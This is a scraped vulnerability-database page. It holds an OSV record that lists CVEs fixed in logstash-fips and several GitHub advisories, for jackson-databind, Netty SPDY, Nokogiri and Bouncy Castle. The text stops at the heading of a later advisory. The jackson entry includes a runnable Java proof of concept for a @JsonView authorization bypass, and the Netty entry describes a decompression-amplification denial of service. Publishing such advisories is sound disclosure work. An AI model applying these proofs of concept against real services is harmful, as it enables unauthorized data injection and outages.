Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Package logstash-fips version 9.4.3-r1 fixes 76 vulnerabilities: CVE-2026-55831, CVE-2026-55833, CVE-2026-56745, CVE-2026-50020, CVE-2026-56746...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "logstash-fips"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.4.3-r1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"9.4.3-r1"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package logstash-fips version 9.4.3-r1 fixes 76 vulnerabilities: CVE-2026-55831, CVE-2026-55833, CVE-2026-56745, CVE-2026-50020, CVE-2026-56746...",
"id": "CLEANSTART-2026-VR87787",
"modified": "2026-08-14T05:57:01Z",
"published": "2026-08-13T12:10:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/elastic/logstash"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in logstash-fips 9.4.3-r1",
"upstream": [
"CVE-2026-55831",
"CVE-2026-55833",
"CVE-2026-56745",
"CVE-2026-50020",
"CVE-2026-56746",
"CVE-2026-59898",
"CVE-2026-59899",
"CVE-2026-59921",
"ghsa-jppx-w49h-x2qq",
"ghsa-6jqx-86gh-f27w",
"ghsa-mvh2-crg5-v77c",
"ghsa-6cqp-g7gg-8hr5",
"ghsa-4mp9-239f-g9hg",
"ghsa-gcjf-9mgh-3p7g",
"ghsa-q4f6-jm68-57ww",
"ghsa-hvcg-qmg6-jm4c",
"CVE-2026-59901",
"ghsa-558v-64gr-wgg4",
"CVE-2026-54512",
"CVE-2026-54513",
"CVE-2026-54514",
"CVE-2026-54515",
"CVE-2026-59888",
"CVE-2026-54516",
"CVE-2026-54517",
"CVE-2026-54518",
"CVE-2026-59889",
"ghsa-5gvw-p9qm-jgwh",
"ghsa-5hh8-q8hv-fr38",
"ghsa-rcqc-6cw3-h962",
"ghsa-9fxm-vc8v-hj55",
"ghsa-mhm7-754m-9p8w",
"ghsa-j3rv-43j4-c7qm",
"ghsa-rmj7-2vxq-3g9f",
"ghsa-5jmj-h7xm-6q6v",
"ghsa-3pjw-73gf-8qr5",
"ghsa-hgj6-7826-r7m5",
"CVE-2025-14813",
"CVE-2026-0636",
"CVE-2026-5598",
"ghsa-574f-3g2m-x479",
"ghsa-p93r-85wp-75v3",
"ghsa-c3fc-8qff-9hwx",
"CVE-2026-5588",
"ghsa-wg6q-6289-32hp",
"ghsa-r7wm-3cxj-wff9",
"ghsa-72hv-8253-57qq",
"CVE-2026-59949",
"ghsa-xx22-p4ch-683r",
"CVE-2026-47240",
"CVE-2026-47242",
"CVE-2026-47241",
"ghsa-8p34-64r3-mwg8",
"ghsa-46q3-7gv7-qmgg",
"ghsa-c4fp-cxrr-mj66",
"CVE-2026-47736",
"CVE-2026-47737",
"ghsa-qpgp-93vx-g8v8",
"ghsa-2vqw-3mp8-cgmx",
"CVE-2026-54906",
"CVE-2026-54904",
"CVE-2026-54905",
"ghsa-h8w8-99g7-qmvj",
"ghsa-6wx8-w4f5-wwcr",
"ghsa-wv3x-4vxv-whpp",
"CVE-2026-54696",
"ghsa-x2f5-4prf-w687",
"ghsa-5prr-v3j2-97mh",
"ghsa-5v8h-3h3q-446p",
"ghsa-8678-w3jw-xfc2",
"ghsa-9cv2-cfxc-v4v2",
"ghsa-p67v-3w7g-wjg7",
"ghsa-phwj-rprq-35pp",
"ghsa-wfpw-mmfh-qq69",
"ghsa-wjv4-x9w8-wm3h",
"ghsa-g9g8-vgvw-g3vf"
]
}
GHSA-MHM7-754M-9P8W
Vulnerability from github – Published: 2026-07-21 19:40 – Updated: 2026-07-21 19:40Summary
In BeanDeserializer.deserializeUsingPropertyBasedWithExternalTypeId, the active-view (@JsonView) filter was applied only to the regular bean-property branch; the creator-property branch performed no creatorProp.visibleInView(activeView) check. A constructor parameter annotated with both @JsonView(RestrictedView.class) and @JsonTypeInfo(use=Id.NAME,
include=As.EXTERNAL_PROPERTY) is populated from attacker JSON even when a more restrictive view is active.
This is a patch gap. GHSA-5hh8 (CVE-2026-54517) and GHSA-rcqc (CVE-2026-54518) descriptions cover only the main property-based path and the unwrapped-creator path respectively; the external-type-id creator path was fixed on the 3.x line via #6004 ("Extend #5969/#5971 fixes to ... external-type-id case in regular BeanDeserializer", commit 7dc7a17, 2026-05-22) but
the fix was never backported to 2.21 or 2.18. Users on 2.21.4 and 2.18.8 who upgraded per the published advisories remain vulnerable to the same @JsonView bypass technique via a different code path.
Vulnerable Code Path
File: com/fasterxml/jackson/databind/deser/BeanDeserializer.java
Method: deserializeUsingPropertyBasedWithExternalTypeId
On 2.21.4 (and 2.18.8), the creator-property branch (around line 1125-1158) checks creatorProp.isInjectionOnly() and hands off to ext.handlePropertyValue(...) / buffer.assignParameter(...) without ever consulting visibleInView(activeView):
```java if (creatorProp != null) { // [databind#1381]: if useInput=FALSE, skip deserialization from input if (creatorProp.isInjectionOnly()) { ... } // NO visibleInView(activeView) CHECK HERE if (!ext.handlePropertyValue(p, ctxt, propName, null)) { if (buffer.assignParameter(creatorProp, ...)) { ... } } continue; }
On 3.1.4, the same branch contains the additional guard (commit 7dc7a17):
```java
if (creatorProp != null) {
// [databind#5971]: must honor active view here too
if ((activeView != null) && !creatorProp.visibleInView(activeView)) {
p.skipChildren();
continue;
}
...
}
The 2.21 and 2.18 backport PRs (#6005 and #6003) only backported the main-path fixes from #5969/#5971; the external-type-id fix from #6004 was not backported. The maintainer closed #6005 with "got changes merged forward, looks like it's all covered now", but the forward-merge did not include the ExtTypeId creator branch.
Proof of Concept
Compiles and runs against jackson-databind 2.21.4:
import com.fasterxml.jackson.annotation.*;
import com.fasterxml.jackson.databind.ObjectMapper;
public class JsonViewExternalTypeIdBypass {
public static class PublicView {}
public static class AdminView extends PublicView {}
public static abstract class Asset { public String name; }
public static class PublicAsset extends Asset {}
public static class AdminAsset extends Asset { public String secret; }
public static class Container {
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME,
include = JsonTypeInfo.As.EXTERNAL_PROPERTY,
property = "kind")
@JsonSubTypes({
@JsonSubTypes.Type(value = PublicAsset.class, name = "pub"),
@JsonSubTypes.Type(value = AdminAsset.class, name = "admin")
})
@JsonView(AdminView.class)
public Asset asset;
public String label;
@JsonCreator
public Container(
@JsonProperty("label") String label,
@JsonProperty("asset") @JsonView(AdminView.class) Asset asset) {
this.label = label;
this.asset = asset;
}
}
public static class Wrapper {
@JsonView(PublicView.class)
public Container data;
}
public static void main(String[] args) throws Exception {
// Admin-only "asset" should be blocked when reading with PublicView
String json = "{\"data\":{\"label\":\"hello\",\"kind\":\"admin\","
+ "\"asset\":{\"name\":\"foo\",\"secret\":\"LEAKED\"}}}";
ObjectMapper om = new ObjectMapper();
Wrapper r = om.readerWithView(PublicView.class)
.forType(Wrapper.class)
.readValue(json);
System.out.println(r.data);
// Actual on 2.21.4: Container{label='hello', asset=AdminAsset{name='foo', secret='LEAKED'}}
// Expected (secure): Container{label='hello', asset=null}
if (r.data.asset != null && r.data.asset instanceof AdminAsset) {
System.out.println("[!!] BYPASS CONFIRMED — admin-only asset populated under PublicView");
}
}
}
A control case that removes include = As.EXTERNAL_PROPERTY (forcing the normal property-based path) correctly returns asset = null, confirming the bypass is specific to the ExternalTypeId code path and not a misconfiguration.
Impact
View-restricted (e.g. admin-only) creator properties can be populated from untrusted input where @JsonView is used as a write-side authorization boundary. Typical victims are Spring Boot REST controllers that use @JsonView(PublicView.class) on the request body to whitelist user-settable fields — an attacker can inject the restricted creator parameter (including choosing the polymorphic subtype via the sibling kind/type-id property) by combining it with a polymorphic @JsonTypeInfo(EXTERNAL_PROPERTY) annotation on the same field.
- CWE-863 (Incorrect Authorization)
- Same impact class as CVE-2026-54517 / CVE-2026-54518
- No RCE, no DoS — this is an access-control / mass-assignment bypass
Trigger Conditions
Developer code must combine (no opt-in user configuration required):
- Property-based @JsonCreator on the outer type
- A creator parameter annotated with @JsonView(RestrictedView.class)
- The same parameter annotated with @JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY, property="...")
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.18.8"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.18.0"
},
{
"fixed": "2.18.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.21.4"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.21.0"
},
{
"fixed": "2.21.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T19:40:12Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nIn `BeanDeserializer.deserializeUsingPropertyBasedWithExternalTypeId`, the active-view (`@JsonView`) filter was applied only to the regular bean-property branch; the creator-property branch performed no `creatorProp.visibleInView(activeView)` check. A constructor parameter annotated with both `@JsonView(RestrictedView.class)` and `@JsonTypeInfo(use=Id.NAME,\n include=As.EXTERNAL_PROPERTY)` is populated from attacker JSON even when a more restrictive view is active.\n\n This is a patch gap. GHSA-5hh8 (CVE-2026-54517) and GHSA-rcqc (CVE-2026-54518) descriptions cover only the main property-based path and the unwrapped-creator path respectively; the external-type-id creator path was fixed on the 3.x line via #6004 (\"Extend #5969/#5971 fixes to ... external-type-id case in regular BeanDeserializer\", commit 7dc7a17, 2026-05-22) but\n **the fix was never backported to 2.21 or 2.18**. Users on 2.21.4 and 2.18.8 who upgraded per the published advisories remain vulnerable to the same `@JsonView` bypass technique via a different code path.\n\n## Vulnerable Code Path\n\nFile: `com/fasterxml/jackson/databind/deser/BeanDeserializer.java`\nMethod: `deserializeUsingPropertyBasedWithExternalTypeId`\n\nOn 2.21.4 (and 2.18.8), the creator-property branch (around line 1125-1158) checks `creatorProp.isInjectionOnly()` and hands off to `ext.handlePropertyValue(...)` / `buffer.assignParameter(...)` without ever consulting `visibleInView(activeView)`:\n\n ```java\n if (creatorProp != null) {\n // [databind#1381]: if useInput=FALSE, skip deserialization from input\n if (creatorProp.isInjectionOnly()) { ... }\n // NO visibleInView(activeView) CHECK HERE\n if (!ext.handlePropertyValue(p, ctxt, propName, null)) {\n if (buffer.assignParameter(creatorProp, ...)) { ... }\n }\n continue;\n }\n```\n\nOn 3.1.4, the same branch contains the additional guard (commit 7dc7a17):\n\n ```java\n if (creatorProp != null) {\n // [databind#5971]: must honor active view here too\n if ((activeView != null) \u0026\u0026 !creatorProp.visibleInView(activeView)) {\n p.skipChildren();\n continue;\n }\n ...\n }\n```\n\nThe 2.21 and 2.18 backport PRs (#6005 and #6003) only backported the main-path fixes from #5969/#5971; the external-type-id fix from #6004 was not backported. The maintainer closed #6005\n with \"got changes merged forward, looks like it\u0027s all covered now\", but the forward-merge did not include the ExtTypeId creator branch.\n\n Proof of Concept\n\n Compiles and runs against jackson-databind 2.21.4:\n \n```java\n import com.fasterxml.jackson.annotation.*;\n import com.fasterxml.jackson.databind.ObjectMapper;\n\n public class JsonViewExternalTypeIdBypass {\n public static class PublicView {}\n public static class AdminView extends PublicView {}\n\n public static abstract class Asset { public String name; }\n public static class PublicAsset extends Asset {}\n public static class AdminAsset extends Asset { public String secret; }\n\n public static class Container {\n @JsonTypeInfo(use = JsonTypeInfo.Id.NAME,\n include = JsonTypeInfo.As.EXTERNAL_PROPERTY,\n property = \"kind\")\n @JsonSubTypes({\n @JsonSubTypes.Type(value = PublicAsset.class, name = \"pub\"),\n @JsonSubTypes.Type(value = AdminAsset.class, name = \"admin\")\n })\n @JsonView(AdminView.class)\n public Asset asset;\n\n public String label;\n\n @JsonCreator\n public Container(\n @JsonProperty(\"label\") String label,\n @JsonProperty(\"asset\") @JsonView(AdminView.class) Asset asset) {\n this.label = label;\n this.asset = asset;\n }\n }\n\n public static class Wrapper {\n @JsonView(PublicView.class)\n public Container data;\n }\n\n public static void main(String[] args) throws Exception {\n // Admin-only \"asset\" should be blocked when reading with PublicView\n String json = \"{\\\"data\\\":{\\\"label\\\":\\\"hello\\\",\\\"kind\\\":\\\"admin\\\",\"\n + \"\\\"asset\\\":{\\\"name\\\":\\\"foo\\\",\\\"secret\\\":\\\"LEAKED\\\"}}}\";\n\n ObjectMapper om = new ObjectMapper();\n Wrapper r = om.readerWithView(PublicView.class)\n .forType(Wrapper.class)\n .readValue(json);\n\n System.out.println(r.data);\n // Actual on 2.21.4: Container{label=\u0027hello\u0027, asset=AdminAsset{name=\u0027foo\u0027, secret=\u0027LEAKED\u0027}}\n // Expected (secure): Container{label=\u0027hello\u0027, asset=null}\n if (r.data.asset != null \u0026\u0026 r.data.asset instanceof AdminAsset) {\n System.out.println(\"[!!] BYPASS CONFIRMED \u2014 admin-only asset populated under PublicView\");\n }\n }\n }\n```\n\nA control case that removes include = As.EXTERNAL_PROPERTY (forcing the normal property-based path) correctly returns asset = null, confirming the bypass is specific to the ExternalTypeId\n code path and not a misconfiguration.\n\n### Impact\n\n View-restricted (e.g. admin-only) creator properties can be populated from untrusted input where @JsonView is used as a write-side authorization boundary. Typical victims are Spring Boot\n REST controllers that use @JsonView(PublicView.class) on the request body to whitelist user-settable fields \u2014 an attacker can inject the restricted creator parameter (including choosing\n the polymorphic subtype via the sibling kind/type-id property) by combining it with a polymorphic @JsonTypeInfo(EXTERNAL_PROPERTY) annotation on the same field.\n\n- CWE-863 (Incorrect Authorization)\n- Same impact class as CVE-2026-54517 / CVE-2026-54518\n- No RCE, no DoS \u2014 this is an access-control / mass-assignment bypass\n\n### Trigger Conditions\n\nDeveloper code must combine (no opt-in user configuration required):\n\n1. Property-based @JsonCreator on the outer type\n2. A creator parameter annotated with @JsonView(RestrictedView.class)\n3. The same parameter annotated with @JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY, property=\"...\")",
"id": "GHSA-mhm7-754m-9p8w",
"modified": "2026-07-21T19:40:12Z",
"published": "2026-07-21T19:40:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-mhm7-754m-9p8w"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/c628b357ed143d8492756d5c1458cfb9fbeb29ed"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/dea7eb466e98cc226c4ac65587581fb49926820c"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "jackson-databind: `@JsonView` bypass for creator properties with `@JsonTypeInfo(include=As.EXTERNAL_PROPERTY)`"
}
GHSA-MVH2-CRG5-V77C
Vulnerability from github – Published: 2026-07-22 21:23 – Updated: 2026-07-22 21:23Summary
Netty SPDY header decoding continues inflating zlib-compressed header blocks after the raw header parser has already exceeded maxHeaderSize and marked the frame truncated. At commit b2d2137c4404af425bf9d5d601a62576f5c06925, a 12,253-byte compressed SPDY header block can declare and inflate a 12 MiB header-name field with maxHeaderSize=16, forcing compression-amplified decode and skip work in a reachable SpdyFrameCodec pipeline.
PoC
run with:
bash ./poc/run.sh
expected output:
NETTY_SPDY_ZLIB_DECODED_AFTER_LIMIT_TRIGGERED compressed_bytes=12253 declared_name_length=12582912 max_header_size=16 truncated=true invalid=false
The fingerprint means the compressed input was fully consumed while the raw header parser ended with truncated=true and invalid=false after processing the oversized decoded name. That specific state distinguishes this bug from a generic setup failure: the maxHeaderSize guard fired, but the zlib/raw decode path still inflated and skipped the full 12 MiB declared name.
Impact
A remote unauthenticated peer that can speak SPDY to a Netty pipeline containing SpdyFrameCodec can send a small compressed HEADERS block that expands into much larger raw header data after the configured maxHeaderSize limit has already been exceeded. The attack requires a reachable SPDY codec, ordinary transport setup such as TCP and optional TLS, and no independent compressed-frame-size or connection-rate limit ahead of SpdyFrameCodec. The satisfied protocol guards are straightforward: the HEADERS frame uses a nonzero stream id and length >= 4, the decoder factory selects the zlib decoder, the payload uses the SPDY dictionary, and the raw block appends a zero-length value so the already-truncated frame reaches END_HEADER_BLOCK. The user-visible effect is denial of service through compression-amplified CPU and allocation churn.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.15.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.135.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.1.0.Final"
},
{
"fixed": "4.1.136.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55833"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:23:05Z",
"nvd_published_at": "2026-07-21T00:17:35Z",
"severity": "HIGH"
},
"details": "### Summary\nNetty SPDY header decoding continues inflating zlib-compressed header blocks after the raw header parser has already exceeded maxHeaderSize and marked the frame truncated. At commit b2d2137c4404af425bf9d5d601a62576f5c06925, a 12,253-byte compressed SPDY header block can declare and inflate a 12 MiB header-name field with maxHeaderSize=16, forcing compression-amplified decode and skip work in a reachable SpdyFrameCodec pipeline.\n\n### PoC\n[poc.zip](https://github.com/user-attachments/files/28445780/poc.zip)\n\nrun with:\n```bash\nbash ./poc/run.sh\n```\nexpected output:\n```text\nNETTY_SPDY_ZLIB_DECODED_AFTER_LIMIT_TRIGGERED compressed_bytes=12253 declared_name_length=12582912 max_header_size=16 truncated=true invalid=false\n```\n\nThe fingerprint means the compressed input was fully consumed while the raw header parser ended with `truncated=true` and `invalid=false` after processing the oversized decoded name. That specific state distinguishes this bug from a generic setup failure: the maxHeaderSize guard fired, but the zlib/raw decode path still inflated and skipped the full 12 MiB declared name.\n\n### Impact\nA remote unauthenticated peer that can speak SPDY to a Netty pipeline containing SpdyFrameCodec can send a small compressed HEADERS block that expands into much larger raw header data after the configured maxHeaderSize limit has already been exceeded. The attack requires a reachable SPDY codec, ordinary transport setup such as TCP and optional TLS, and no independent compressed-frame-size or connection-rate limit ahead of SpdyFrameCodec. The satisfied protocol guards are straightforward: the HEADERS frame uses a nonzero stream id and length \u003e= 4, the decoder factory selects the zlib decoder, the payload uses the SPDY dictionary, and the raw block appends a zero-length value so the already-truncated frame reaches END_HEADER_BLOCK. The user-visible effect is denial of service through compression-amplified CPU and allocation churn.",
"id": "GHSA-mvh2-crg5-v77c",
"modified": "2026-07-22T21:23:05Z",
"published": "2026-07-22T21:23:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-mvh2-crg5-v77c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55833"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty SPDY zlib header block continues decoded expansion after maxHeaderSize truncation"
}
GHSA-P67V-3W7G-WJG7
Vulnerability from github – Published: 2026-06-19 16:37 – Updated: 2026-06-19 16:37Summary
Nokogiri::XML::XPathContext did not keep its source document alive for garbage collection. If an XPathContext outlived its document and the document was collected, evaluating an XPath expression could read invalid memory and potentially segfault.
This is only reachable when application code constructs an XPathContext directly and lets the document become unreachable while continuing to use the context. The normal Document#xpath, #css, and related search methods are not affected, and it is not triggerable by malicious document input.
Nokogiri 1.19.4 makes XPathContext keep its source document alive for as long as the context exists.
Only the CRuby implementation is affected. JRuby is not affected.
Severity
The Nokogiri maintainers have evaluated this as low severity. Reaching it requires an unusual API-usage pattern that does not arise during normal use. The application must construct an XML::XPathContext directly and continue using it after allowing its source document to be garbage-collected. Nokogiri 1.19.4 makes this pattern safe with no change to the public API. The context now keeps its source document alive for as long as it exists.
Mitigation
Upgrade to Nokogiri 1.19.4 or later.
As a workaround, ensure the source document remains referenced for as long as any XPathContext created from it is in use. The standard Document#xpath, #css, and related search methods already do this and are unaffected.
Credit
This issue was responsibly reported by Zheng Yu from depthfirst.com.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "nokogiri"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.19.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-416"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T16:37:13Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\n\n`Nokogiri::XML::XPathContext` did not keep its source document alive for garbage collection. If an `XPathContext` outlived its document and the document was collected, evaluating an XPath expression could read invalid memory and potentially segfault.\n\nThis is only reachable when application code constructs an `XPathContext` directly and lets the document become unreachable while continuing to use the context. The normal `Document#xpath`, `#css`, and related search methods are not affected, and it is not triggerable by malicious document input.\n\nNokogiri 1.19.4 makes `XPathContext` keep its source document alive for as long as the context exists.\n\nOnly the CRuby implementation is affected. JRuby is not affected.\n\n### Severity\n\nThe Nokogiri maintainers have evaluated this as low severity. Reaching it requires an unusual API-usage pattern that does not arise during normal use. The application must construct an `XML::XPathContext` directly and continue using it after allowing its source document to be garbage-collected. Nokogiri 1.19.4 makes this pattern safe with no change to the public API. The context now keeps its source document alive for as long as it exists.\n\n### Mitigation\n\nUpgrade to Nokogiri 1.19.4 or later.\n\nAs a workaround, ensure the source document remains referenced for as long as any `XPathContext` created from it is in use. The standard `Document#xpath`, `#css`, and related search methods already do this and are unaffected.\n\n### Credit\n\nThis issue was responsibly reported by Zheng Yu from depthfirst.com.",
"id": "GHSA-p67v-3w7g-wjg7",
"modified": "2026-06-19T16:37:13Z",
"published": "2026-06-19T16:37:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-p67v-3w7g-wjg7"
},
{
"type": "PACKAGE",
"url": "https://github.com/sparklemotion/nokogiri"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U/U:Clear",
"type": "CVSS_V4"
}
],
"summary": "Nokogiri: Possible Use-After-Free when directly using `NokogirI::XML::XPathContext` beyond document lifetime"
}
GHSA-P93R-85WP-75V3
Vulnerability from github – Published: 2026-04-17 18:31 – Updated: 2026-06-19 15:20Covert timing channel vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA core on all (core modules). This vulnerability is associated with program files FrodoEngine.Java.
This issue only affects users of the FrodoKEM algorithm involved in the decryption of encapsulations.
This issue affects BC-JAVA: from 1.71 to 1.80.1, 1.81, 1.82 to 1.83.
Fixed versions: 1.80.2, 1.81.1, 1.84
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcprov-jdk15to18"
},
"ranges": [
{
"events": [
{
"introduced": "1.71"
},
{
"fixed": "1.80.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcprov-jdk14"
},
"ranges": [
{
"events": [
{
"introduced": "1.81"
},
{
"fixed": "1.81.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcprov-jdk18on"
},
"ranges": [
{
"events": [
{
"introduced": "1.82"
},
{
"fixed": "1.84"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-5598"
],
"database_specific": {
"cwe_ids": [
"CWE-385"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-25T23:25:24Z",
"nvd_published_at": "2026-04-15T10:16:49Z",
"severity": "HIGH"
},
"details": "Covert timing channel vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA core on all (core modules). This vulnerability is associated with program files FrodoEngine.Java.\n\nThis issue only affects users of the FrodoKEM algorithm involved in the decryption of encapsulations.\n\nThis issue affects BC-JAVA: from 1.71 to 1.80.1, 1.81, 1.82 to 1.83.\n\nFixed versions: 1.80.2, 1.81.1, 1.84",
"id": "GHSA-p93r-85wp-75v3",
"modified": "2026-06-19T15:20:41Z",
"published": "2026-04-17T18:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5598"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/commit/8692e6b2b191fc4aafa32545c7a78bdb9bf110c5"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/commit/94abbd56413dfdac651fd878bc60253871ef5e87"
},
{
"type": "PACKAGE",
"url": "https://github.com/bcgit/bc-java"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%905598"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/wiki/CVE-2026-5598"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:U/S:P/AU:Y/U:Red",
"type": "CVSS_V4"
}
],
"summary": "Bouncy Castle Has Covert Timing Channel Vulnerability"
}
GHSA-PHWJ-RPRQ-35PP
Vulnerability from github – Published: 2026-06-19 16:37 – Updated: 2026-06-19 16:37Summary
Nokogiri’s CRuby native extension could leave a Ruby wrapper pointing to freed memory when replacing the value of an XML attribute. If Ruby code had already accessed an attribute child node, Nokogiri::XML::Attr#value= could free the underlying native child node while the wrapper remained reachable through the document node cache. A later use of the freed child node or a Ruby GC mark could dereference an invalid pointer, causing an invalid read and a possible segfault.
Nokogiri 1.19.4 preserves any already-wrapped attribute child nodes before replacing the attribute value.
JRuby is not affected.
Severity
The Nokogiri maintainers have evaluated this as low severity. Reaching it requires an unusual API-usage pattern that does not arise during normal use. The application must directly access an attribute's child node and then replace that same attribute's value via Attr#value= or #content=. Nokogiri 1.19.4 makes this pattern safe with no change to the public API. Already-wrapped attribute child nodes are preserved before the value is replaced.
Mitigation
Upgrade to Nokogiri 1.19.4 or later.
As a workaround, avoid accessing attribute child nodes directly via Attr#child or similar before mutating the same attribute’s value.
Credit
This issue was responsibly reported by Zheng Yu from depthfirst.com.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "nokogiri"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.19.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-416",
"CWE-825"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T16:37:46Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\n\nNokogiri\u2019s CRuby native extension could leave a Ruby wrapper pointing to freed memory when replacing the value of an XML attribute. If Ruby code had already accessed an attribute child node, `Nokogiri::XML::Attr#value=` could free the underlying native child node while the wrapper remained reachable through the document node cache. A later use of the freed child node or a Ruby GC mark could dereference an invalid pointer, causing an invalid read and a possible segfault.\n\nNokogiri 1.19.4 preserves any already-wrapped attribute child nodes before replacing the attribute value.\n\nJRuby is not affected.\n\n### Severity\n\nThe Nokogiri maintainers have evaluated this as low severity. Reaching it requires an unusual API-usage pattern that does not arise during normal use. The application must directly access an attribute\u0027s child node and then replace that same attribute\u0027s value via `Attr#value=` or `#content=`. Nokogiri 1.19.4 makes this pattern safe with no change to the public API. Already-wrapped attribute child nodes are preserved before the value is replaced.\n\n### Mitigation\n\nUpgrade to Nokogiri 1.19.4 or later.\n\nAs a workaround, avoid accessing attribute child nodes directly via `Attr#child` or similar before mutating the same attribute\u2019s value.\n\n### Credit\n\nThis issue was responsibly reported by Zheng Yu from depthfirst.com.",
"id": "GHSA-phwj-rprq-35pp",
"modified": "2026-06-19T16:37:46Z",
"published": "2026-06-19T16:37:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-phwj-rprq-35pp"
},
{
"type": "PACKAGE",
"url": "https://github.com/sparklemotion/nokogiri"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "Nokogiri: Possible Use-After-Free when setting an attribute value via `Nokogiri::XML::Attr#value=` or `#content=`"
}
GHSA-Q4F6-JM68-57WW
Vulnerability from github – Published: 2026-07-22 21:49 – Updated: 2026-07-22 21:49Impact
